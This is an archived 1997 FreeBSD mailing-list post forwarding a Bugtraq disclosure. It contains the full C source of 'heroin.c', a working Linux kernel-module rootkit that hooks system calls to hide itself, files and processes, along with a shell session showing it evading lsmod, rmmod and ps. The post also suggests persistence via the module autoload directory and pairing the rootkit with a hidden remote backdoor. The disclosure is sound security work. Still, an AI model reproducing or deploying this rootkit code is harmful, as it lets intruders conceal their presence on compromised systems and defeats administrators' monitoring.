Skip site navigation (1)Skip section navigation (2)
Date:      Thu, 06 Nov 1997 11:15:41 +1030
From:      Matthew Thyer <Matthew.Thyer@dsto.defence.gov.au>
To:        freebsd-current@freebsd.org
Subject:   [Fwd: Malicious Linux modules - be worried !]
Message-ID:  <34611335.8601A3B@dsto.defence.gov.au>

next in thread | raw e-mail | index | archive | help
I assume FreeBSD LKMs could do this kind of thing too.

> ------------- Begin Forwarded Message -------------
> 
> >From owner-bugtraq@NETSPACE.ORG Fri Oct 10 00:32:10 1997
> Approved-By: aleph1@UNDERGROUND.ORG
> Date: Thu, 9 Oct 1997 00:37:52 -0500
> Reply-To: zarq@1STNET.COM
> Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
> From: Runar Jensen <zarq@1STNET.COM>
> Subject: Malicious Linux modules
> X-To: linux-security@redhat.com
> To: BUGTRAQ@NETSPACE.ORG
> Content-Length: 12203
> 
> As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
> to patch any system call under Linux from within a module. This means that
> once your system has been compromised at the root level, it is possible for
> an intruder to hide completely _without_ modifying any binaries or leaving
> any visible backdoors behind. Because such tools are likely to be in use
> within the hacker community already, I decided to publish a piece of code to
> demonstrate the potentials of a malicious module.
> 
> The following piece of code is a fully working Linux module for 2.1 kernels
> that patches the getdents(), kill(), read() and query_module() calls. Once
> loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
> modifying the output of every query_module() call and every read() call
> accessing /proc/modules. Apparently rmmod also calls query_module() to list
> all modules before attempting to remove the specified module, and will
> therefore claim that the module does not exist even if you know its name. The
> output of any getdents() call is modified to hide any files or directories
> starting with a given string, leaving them accessible only if you know their
> exact names. It also hides any directories in /proc matching pids that have a
> specified flag set in its internal task structure, allowing a user with root
> access to hide any process (and its children, since the task structure is
> duplicated when the process does a fork()). To set this flag, simply send the
> process a signal 31 which is caught and handled by the patched kill() call.
> 
> To demonstrate the effects...
> 
> [root@image:~/test]# ls -l
> total 3
> -rw-------   1 root     root         2832 Oct  8 16:52 heroin.o
> [root@image:~/test]# insmod heroin.o
> [root@image:~/test]# lsmod | grep heroin
> [root@image:~/test]# grep heroin /proc/modules
> [root@image:~/test]# rmmod heroin
> rmmod: module heroin not loaded
> [root@image:~/test]# ls -l
> total 0
> [root@image:~/test]# echo "I'm invisible" > heroin_test
> [root@image:~/test]# ls -l
> total 0
> [root@image:~/test]# cat heroin_test
> I'm invisible
> [root@image:~/test]# ps -aux | grep gpm
> root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
> [root@image:~/test]# kill -31 223
> [root@image:~/test]# ps -aux | grep gpm
> [root@image:~/test]# ps -aux 223
> USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
> root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
> [root@image:~/test]# ls -l /proc | grep 223
> [root@image:~/test]# ls -l /proc/223
> total 0
> -r--r--r--   1 root     root            0 Oct  8 16:53 cmdline
> lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run
> -r--------   1 root     root            0 Oct  8 16:54 environ
> lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm
> dr-x------   1 root     root            0 Oct  8 16:54 fd
> pr--r--r--   1 root     root            0 Oct  8 16:54 maps
> -rw-------   1 root     root            0 Oct  8 16:54 mem
> lrwx------   1 root     root            0 Oct  8 16:54 root -> /
> -r--r--r--   1 root     root            0 Oct  8 16:53 stat
> -r--r--r--   1 root     root            0 Oct  8 16:54 statm
> -r--r--r--   1 root     root            0 Oct  8 16:54 status
> [root@image:~/test]#
> 
> The implications should be obvious. Once a compromise has taken place,
> nothing can be trusted, the operating system included. A module such as this
> could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
> after every reboot, or put in place of a commonly used module and in turn
> have it load the required module for an added level of protection. (Thanks
> Sean :) Combined with a reasonably obscure remote backdoor it could remain
> undetected for long periods of time unless the system administrator knows
> what to look for. It could even hide the packets going to and from this
> backdoor from the kernel itself to prevent a local packet sniffer from seeing
> them.
> 
> So how can it be detected? In this case, since the number of processes is
> limited, one could try to open every possible process directory in /proc and
> look for the ones that do not show up otherwise. Using readdir() instead of
> getdents() will not work, since it appears to be just a wrapper for
> getdents(). In short, trying to locate something like this without knowing
> exactly what to look for is rather futile if done in userspace...
> 
> Be afraid. Be very afraid. ;)
> 
> .../ru
> 
> -----
> 
> /*
>  * heroin.c
>  *
>  * Runar Jensen <zarq@opaque.org>
>  *
>  * This Linux kernel module patches the getdents(), kill(), read()
>  * and query_module() system calls to demonstrate the potential
>  * dangers of the way modules have full access to the entire kernel.
>  *
>  * Once loaded, the module becomes invisible and can not be removed
>  * with rmmod. Any files or directories starting with the string
>  * defined by MAGIC_PREFIX appear to disappear, and sending a signal
>  * 31 to any process as root effectively hides it and all its future
>  * children.
>  *
>  * This code should compile cleanly and work with most (if not all)
>  * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
>  * It will not compile as is under 2.0.30, since 2.0.30 lacks the
>  * query_module() function.
>  *
>  * Compile with:
>  *   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
>  */
> 
> #include <linux/fs.h>
> #include <linux/module.h>
> #include <linux/modversions.h>
> #include <linux/malloc.h>
> #include <linux/unistd.h>
> #include <sys/syscall.h>
> 
> #include <linux/dirent.h>
> #include <linux/proc_fs.h>
> #include <stdlib.h>
> 
> #define MAGIC_PREFIX "heroin"
> 
> #define PF_INVISIBLE 0x10000000
> #define SIGINVISI 31
> 
> int errno;
> 
> static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
> static inline _syscall2(int, kill, pid_t, pid, int, sig);
> static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
> static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t,
> bufsize, size_t *, ret);
> 
> extern void *sys_call_table[];
> 
> int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
> int (*original_kill)(pid_t, int);
> int (*original_read)(int, void *, size_t);
> int (*original_query_module)(const char *, int, void *, size_t, size_t *);
> 
> int myatoi(char *str)
> {
>         int res = 0;
>         int mul = 1;
>         char *ptr;
> 
>         for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
>                 if(*ptr < '0' || *ptr > '9')
>                         return(-1);
>                 res += (*ptr - '0') * mul;
>                 mul *= 10;
>         }
>         return(res);
> }
> 
> void mybcopy(char *src, char *dst, unsigned int num)
> {
>         while(num--)
>                 *(dst++) = *(src++);
> }
> 
> int mystrcmp(char *str1, char *str2)
> {
>         while(*str1 && *str2)
>                 if(*(str1++) != *(str2++))
>                         return(-1);
>         return(0);
> }
> 
> struct task_struct *find_task(pid_t pid)
> {
>         struct task_struct *task = current;
> 
>         do {
>                 if(task->pid == pid)
>                         return(task);
> 
>                 task = task->next_task;
> 
>         } while(task != current);
> 
>         return(NULL);
> }
> 
> int is_invisible(pid_t pid)
> {
>         struct task_struct *task;
> 
>         if((task = find_task(pid)) == NULL)
>                 return(0);
> 
>         if(task->flags & PF_INVISIBLE)
>                 return(1);
> 
>         return(0);
> }
> 
> int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
> {
>         int res;
>         int proc = 0;
>         struct inode *dinode;
>         char *ptr = (char *)dirp;
>         struct dirent *curr;
>         struct dirent *prev = NULL;
> 
>         res = (*original_getdents)(fd, dirp, count);
> 
>         if(!res)
>                 return(res);
> 
>         if(res == -1)
>                 return(-errno);
> 
> #ifdef __LINUX_DCACHE_H
>         dinode = current->files->fd[fd]->f_dentry->d_inode;
> #else
>         dinode = current->files->fd[fd]->f_inode;
> #endif
> 
>         if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
>                 proc = 1;
> 
>         while(ptr < (char *)dirp + res) {
>                 curr = (struct dirent *)ptr;
> 
>                 if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
>                         (proc && is_invisible(myatoi(curr->d_name)))) {
> 
>                         if(curr == dirp) {
>                                 res -= curr->d_reclen;
>                                 mybcopy(ptr + curr->d_reclen, ptr, res);
>                                 continue;
>                         }
>                         else
>                                 prev->d_reclen += curr->d_reclen;
>                 }
>                 else
>                         prev = curr;
> 
>                 ptr += curr->d_reclen;
>         }
> 
>         return(res);
> }
> 
> int hacked_kill(pid_t pid, int sig)
> {
>         int res;
>         struct task_struct *task = current;
> 
>         if(sig != SIGINVISI) {
>                 res = (*original_kill)(pid, sig);
> 
>                 if(res == -1)
>                         return(-errno);
> 
>                 return(res);
>         }
> 
>         if((task = find_task(pid)) == NULL)
>                 return(-ESRCH);
> 
>         if(current->uid && current->euid)
>                 return(-EPERM);
> 
>         task->flags |= PF_INVISIBLE;
> 
>         return(0);
> }
> 
> int hacked_read(int fd, char *buf, size_t count)
> {
>         int res;
>         char *ptr, *match;
>         struct inode *dinode;
> 
>         res = (*original_read)(fd, buf, count);
> 
>         if(res == -1)
>                 return(-errno);
> 
> #ifdef __LINUX_DCACHE_H
>         dinode = current->files->fd[fd]->f_dentry->d_inode;
> #else
>         dinode = current->files->fd[fd]->f_inode;
> #endif
> 
>         if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
>                 return(res);
> 
>         ptr = buf;
> 
>         while(ptr < buf + res) {
>                 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
>                         match = ptr;
>                         while(*ptr && *ptr != '\n')
>                                 ptr++;
>                         ptr++;
>                         mybcopy(ptr, match, (buf + res) - ptr);
>                         res = res - (ptr - match);
>                         return(res);
>                 }
>                 while(*ptr && *ptr != '\n')
>                         ptr++;
>                 ptr++;
>         }
> 
>         return(res);
> }
> 
> int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
> {
>         int res;
>         int cnt;
>         char *ptr, *match;
> 
>         res = (*original_query_module)(name, which, buf, bufsize, ret);
> 
>         if(res == -1)
>                 return(-errno);
> 
>         if(which != QM_MODULES)
>                 return(res);
> 
>         ptr = buf;
> 
>         for(cnt = 0; cnt < *ret; cnt++) {
>                 if(!mystrcmp(MAGIC_PREFIX, ptr)) {
>                         match = ptr;
>                         while(*ptr)
>                                 ptr++;
>                         ptr++;
>                         mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
>                         (*ret)--;
>                         return(res);
>                 }
>                 while(*ptr)
>                         ptr++;
>                 ptr++;
>         }
> 
>         return(res);
> }
> 
> int init_module(void)
> {
>         original_getdents = sys_call_table[SYS_getdents];
>         sys_call_table[SYS_getdents] = hacked_getdents;
> 
>         original_kill = sys_call_table[SYS_kill];
>         sys_call_table[SYS_kill] = hacked_kill;
> 
>         original_read = sys_call_table[SYS_read];
>         sys_call_table[SYS_read] = hacked_read;
> 
>         original_query_module = sys_call_table[SYS_query_module];
>         sys_call_table[SYS_query_module] = hacked_query_module;
> 
>         return(0);
> }
> 
> void cleanup_module(void)
> {
>         sys_call_table[SYS_getdents] = original_getdents;
>         sys_call_table[SYS_kill] = original_kill;
>         sys_call_table[SYS_read] = original_read;
>         sys_call_table[SYS_query_module] = original_query_module;
> }
> 
> -----
> 
> -----
> Runar Jensen            | Phone  (318) 289-0125 | Email zarq@1stnet.com
> Network Administrator   |   or   (800) 264-7440 |   or  zarq@opaque.org
> Tech Operations Mgr     | Fax    (318) 235-1447 | Epage zarq@page.1stnet.com
> FirstNet of Acadiana    | Pager  (318) 268-8533 |       [message in subject]
> ------------- End Forwarded Message -------------

-- 
 Matthew Thyer                                 Phone:  +61 8 8259 7249
 Corporate Information Systems                 Fax:    +61 8 8259 5537
 Defence Science and Technology Organisation, Salisbury
 PO Box 1500 Salisbury South Australia 5108



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?34611335.8601A3B>